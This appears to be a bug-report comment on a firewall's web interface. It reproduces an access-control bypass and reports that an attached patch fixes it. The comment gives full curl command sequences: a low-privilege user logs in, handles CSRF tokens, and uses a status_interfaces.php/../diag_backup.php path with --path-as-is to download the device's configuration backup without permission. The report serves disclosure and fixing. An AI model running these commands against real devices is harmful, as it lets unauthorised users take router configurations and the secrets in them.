I was finally able to reproduce this, it took some extra parameters in cURL to make it happen.
Setup:
- Create a user, for example u:foo / p:foo
- Grant this user access to status_interfaces.php -- The page itself isn't important, just an example, so long as it doesn't have access to the page we're attempting to access later
Test:
Using cURL, attempt to download a backup using diag_backup.php directly. As above, the exact page is not important, so long as it's a page the user does not have privileges to access. diag_backup.php is good because it gives us a file we can easily check as a result.
curl -L -k --cookie-jar cookies.txt \
https://192.168.1.1/ | grep "name='__csrf_magic'" | sed 's/.*value="\(.*\)".*/\1/' > csrf.txt
curl -L -k --cookie cookies.txt --cookie-jar cookies.txt \
--data-urlencode "login=Login" \
--data-urlencode "usernamefld=foo" \
--data-urlencode "passwordfld=foo" \
--data-urlencode "__csrf_magic=$(cat csrf.txt)" \
https://192.168.1.1/ > /dev/null
curl -L -k --cookie cookies.txt --cookie-jar cookies.txt \
https://192.168.1.1/diag_backup.php | grep "name='__csrf_magic'" | sed 's/.*value="\(.*\)".*/\1/' > csrf2.txt
curl -L -k --cookie cookies.txt --cookie-jar cookies.txt \
--data-urlencode "download=download" \
--data-urlencode "donotbackuprrd=yes" \
--data-urlencode "__csrf_magic=$(head -n 1 csrf2.txt)" \
--path-as-is \
https://192.168.1.1/diag_backup.php > config-router-`date +%Y%m%d%H%M%S`.xml
This fails as expected. The user does not have access to the page, so the downloaded file only contains the content of the redirected page, index.php, as served by the web server.
Now, try it again but instead of doing a POST to diag_backup.php, form the URL to include the page the user can access, followed by the page they do not have permissions to access, with /../
in between. In this example, status_interfaces.php/../diag_backup.php
:
curl -L -k --cookie-jar cookies.txt \
https://192.168.1.1/ | grep "name='__csrf_magic'" | sed 's/.*value="\(.*\)".*/\1/' > csrf.txt
curl -L -k --cookie cookies.txt --cookie-jar cookies.txt \
--data-urlencode "login=Login" \
--data-urlencode "usernamefld=foo" \
--data-urlencode "passwordfld=foo" \
--data-urlencode "__csrf_magic=$(cat csrf.txt)" \
https://192.168.1.1/ > /dev/null
curl -L -k --cookie cookies.txt --cookie-jar cookies.txt \
--path-as-is \
https://192.168.1.1/status_interfaces.php/../diag_backup.php | grep "name='__csrf_magic'" | sed 's/.*value="\(.*\)".*/\1/' > csrf2.txt
curl -L -k --cookie cookies.txt --cookie-jar cookies.txt \
--data-urlencode "download=download" \
--data-urlencode "donotbackuprrd=yes" \
--data-urlencode "__csrf_magic=$(head -n 1 csrf2.txt)" \
--path-as-is \
https://192.168.1.1/status_interfaces.php/../diag_backup.php > config-router-`date +%Y%m%d%H%M%S`.xml
And this time the freshly downloaded file actually contains the requested backup, which the user should not have been able to access.
The patch I attached previously does correct the issue. The user is unable to access the other page with it applied.